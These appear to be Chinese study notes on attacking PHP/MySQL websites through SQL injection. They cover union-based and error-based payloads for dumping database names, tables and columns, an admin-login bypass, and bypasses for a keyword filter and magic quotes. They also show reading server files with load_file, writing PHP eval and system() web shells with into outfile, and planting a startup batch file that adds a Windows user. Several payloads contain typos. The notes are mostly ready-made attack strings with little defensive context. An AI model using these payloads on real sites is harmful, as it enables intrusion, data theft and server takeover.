Mysql函数

函数	作用
system_user()	系统用户名
user()	用户名
current_user()	当前用户名
session_user()	连接数据库的用户名
database()	数据库名
version()	MYSQL数据库版本
load_file()	转成16进制或者是10进制MYSQL读取本地文件的函数
@@datadir	读取数据库路径
@@basedir	MYSQL安装路径
@@version_compile_os	操作系统

Mysql数据库连接

```
<?php
$host='localhost';  //数据库地址
$database='jxgl';   //数据库名称
$user='root';   //数据库账户
$pass='';   //数据库密码
$webml='/0/';   //安装文件夹
?>
```

一般存放在

> Config.php
> Db config.php
> Include/common.inc.php
> caches/configs/databases.asp

等类似的配置文件

练习方法

多找一些CMS，然后查看默认的数据库文件

数据库结构对比

access数据库

- A网站：adata.mdb

        - 表名(admin)
            - 列名(user,pass)
                - 值
- B网站：bdata.mdb
    - 表名(admin)
        - 列名(user,pass)
            - 值

mysql

- A数据库名
- B数据库名
    - 表名
        - 列名
            - 值

mysql注入原理

注入产生原理及防护绕过

注入形成原理

主要是由于未对参数进行过滤

简单防注入实现

```
function check_sql($x){
    $inject=array("select","union","from","and","or");
    $i=str_replace($inject,"",$x);
    return $i;

}

/*function check_sql($sql_str) //自动过滤sql注入语句。

$check=preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into
|load_file|outfile/i',$sql_str);
    if($check){
        echo '<script language="javaScript">alert("系统警告：\n\n请不要尝试在参数中包
含非法字符尝试注入！");</script>';
        exlt();
    }else{
        return $sql_str;
    }
}*/
```

绕过防注入

大小写绕过

%00编码绕过

判断注入

and 1=1 返回正常

and 1=2 返回不正常，存在注入点

判断列

order by xx

union联合查询

and 1=2 union select 1,2,3...

页面中包含哪些数字，说明该列可能用来执行sql语句

```
and 1=2 union select 1,database(),3,4   //报数据库名
and 1=2 union select 1,group_concat(table_name),3,4 from
information_schema.tables where table_schema='jxgl'    //查询爆出的数据库'jxgl'的列名，group_concat()是将结果以组的形式显示出来，否则只会显示一个
and 1=2 union select 1,group_concat(column_name),3,4 from
information_schema.columns where table_name='user'    //查询爆出的数据库'jxgl'的user列的字段内容
union select 1，group_concat(username,password),3,4 from user
```

Mysql其他操作

Mysql 4.0渗透

4.0没有information_schema数据库

5.0以上可以使用手工注入

利用`sqlmap`注入读取文件

查询表名称

进行查询

sqlmap --sql-shell

select load_file('/usr/www/inde.php');

mysql显错注入

原理：单引号没有做过滤

判断是否存在注入：输入`'`

爆当前数据库用户

```
-0 union select 1 from (select count(*),concat(floor(rand(0)*2),(select user()
limit 0,1))a from information_schema.tables group by a)b#
```

爆当前数据库名称

```
-0 union select 1 from (select count(*),concat(floor(rand(0)*2),(select
database() limit 0,1))a from information_schema.tables group by a)b#
```

爆当前版本号

```
-0 union select 1 from (select count(*),concat(floor(rand(0)*2),(select
version() limit 0,1))a from information_schema.tables group by a)b#
```

爆当前数据库

```
-0' and(select 1 from(select count(*),concat((select (select
concat(0x7e,0x27,hex(cast(datanase() as char)),0x27,0x7e)) from
information_shcema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables froup by x)a)#
```

爆表

```
' and(select 1 from(select count(*),concat((select (select distinct
concat(0x7e,0x27,hex(cast(table_name as char)),0x27,0x7e) from
information_schema.tables where table_scema=0x64656E67 limit 0,1)) from
information_schema.tables limit 0,1), floor(rand(0)*2))x from
information_schema.tables group by x)a)#
```

爆字段

```
'and(select 1 from (select count(*),concat((select (select (select distinct
concat(0x7e,0x27,column_name,0x27,0x7e) from information_schema.columns where
table_schema=0x64656E67 and table_name=0x75736572 limit 0,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a)#
```

后台绕过

- `select * from user where username='' and password=''`

  输入：admin'#
- `select * from user where username='admin'#' and password=''`

  输入：admin' or '1=1
- `select * from user where username='admin' or '1=1' and password=''`

mysql读写函数的操作

- load_file()函数

  该函数是用来读取源文件的函数，但只能读取绝对路径的网页文件

  在使用load_file()时应该先找到网站绝对路径

  例如：

  D:/www/xx/index.php

  /usr/src/apache/htdoc.index.php

注意

1.路径符号：要用双斜杠`\\`，或者`/`

2.转换为十六进制数，这样就不需要引号了

获取网站根路径

1.报错显示

单引号报错`'`

上传一个不正常图片报错

2.谷歌hack

site:目标网站 warning关键词

3.遗留文件 phpinfo info test php

4.漏洞爆路径(cms爆路径的payload)

5.读取配置文件

linux：`/etc/httpd/conf/httpd.comf`

windows：`user/local/httpd/conf/httpd.conf`

如果是IIS的话，也可以读`c:/windows/system32/inetsrv/meabase.xml`

读取网站文件内容--load_file

```
and 1=2 union select 1,load_file('c:\\Inetpub\\wwwroot\\mysql-
sql\\inc\\set_sql.php'),3,4

and 1=2 union select
1,load_file(0x443A5C7068705C41504D53657276352E322E365C7777775C6874646F63735C335C
636F6E6669672E706870),3,4  //中间的十六进制编码是
指"D:\php\APMServ5.2.6\www\htdocs\3\config.php"
```

写入函数--into outfile

```
and 1=2 union select 1,"<?php @eval($_post['jxgl']);?>",3,4 into outfile
'C:/inetpub/wwwroot/mysql-sql/text.php'
```

利用注入漏洞执行系统命令

第一种方法：需要使用wamp环境搭建需要系统权限才能执行

把系统命令生成一个批处理文件`1.bat`，然后加到开机自启动

```
and 1=2 union select 1,"net user serven 123/add",2,3,4,5 into outfile
'C://Documents and Settings/Administrator/「开始」菜单/程序/启动/1.bat'
```

第二种方法：

```
and 1=2 union select 1,"<pre><body><?@system($_GET['CC']);?></BODY></PRE>",3,4,5
into outfile 'C:/Inetpub/wwwroot/mysql-sql/cr.php'
```

魔术引号及宽字节注入

参考：

一、魔术引号

1. magic_quotes_gpc 变量

什么是魔术引号

Warning

本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。

> 当打开时，所有的 '（单引号），"（双引号），\（反斜线）和 NULL 字符都会被自动加上一个反斜线进行转义。

这和 addslashes() 作用完全相同。

一共有三个魔术引号指令：

> magic_quotes_gpc 影响到 HTTP 请求数据（GET，POST 和 COOKIE）。不能在运行时改变。在 PHP 中默认值为 on。 参见 get_magic_quotes_gpc()。
>
> magic_quotes_runtime 如果打开的话，大部份从外部来源取得数据并返回的函数，包括从数据库和文本文件，所返回的数据都会被反斜线转义。该选项可在运行的时改变，在 PHP 中的默认值为 off。 参见 set_magic_quotes_runtime() 和 get_magic_quotes_runtime()。
>
> magic_quotes_sybase 如果打开的话，将会使用单引号对单引号进行转义而非反斜线。此选项会完全覆盖 magic_quotes_gpc。如果同时打开两个选项的话，单引号将会被转义成 ''。而双引号、反斜线 和 NULL 字符将不会进行转义。 如何取得其值参见 ini_get()。

2. addslashes() 函数

addslashes — 使用反斜线引用字符串

说明

> string addslashes (string $str)
> 返回字符串，该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号（'）、双引号（"）、反斜线（\）与 NUL（NULL 字符）。

> 一个使用 addslashes() 的例子是当你要往数据库中输入数据时。 例如，将名字 O'reilly 插入到数据库中，这就需要对其进行转义。 强烈建议使用 DBMS 指定的转义函数 （比如 MySQL 是 mysqli_real_escape_string()，PostgreSQL 是 pg_escape_string()），但是如果你使用的 DBMS 没有一个转义函数，并且使用 \ 来转义特殊字符，你可以使用这个函数。 仅仅是为了获取插入数据库的数据，额外的 \ 并不会插入。 当 PHP 指令 magic_quotes_sybase 被设置成 on 时，意味着插入 ' 时将使用 ' 进行转义。

PHP 5.4 之前 PHP 指令 magic_quotes_gpc 默认是 on， 实际上所有的 GET、POST 和 COOKIE 数据都用被 addslashes() 了。 不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes()，因为这样会导致双层转义。 遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。

3. 绕过魔术引号方式

GBK编码下使用宽字节注入：%df%27

`sqlmap.py -u "xxx.com/xx.php?id=1" --risk 3 --dbms=mysql -p username --tamper unmagicquotes.py -v 3`

使用sqlmap跑的话加个插件`--tamper unmagicquotes.py`，将级别调成3，就可以绕过了

二、注入类型

1. 数字型注入：

```
demo代码:      $sql = "select * from news where id=$id"
传入后:        $sql = "select * from news where id=1"
绕过方式:      直接注入
绕过代码:      $sql = "select * from news where id=1 union select 1,2,3"
```

2. 字符型注入：

```
demo代码:        $sql = "select * from news where id='$name'"
传入后:          $sql = "select * from news where id='iaodi'"
绕过方式:        闭合前后单引号
绕过方式:        $sql = "select * from news where id=‘xiaodi' union select 1,2,3
and '1'='1’"
```

3. 搜索型注入:

```
demo代码:       $sql = "select * from news where name like '%$username%' order by
name"
传入后:         $sql = "select * from news where name like '%xiaodi%' order by
name"
绕过方式:       闭合%正则符号和单引号
绕过方式:       $sql = "select * from news where name like '%xiaodi%' union select
1,2,3 and '%'='%' order by name"
```

注入工具

穿山甲，aws，sqlmap，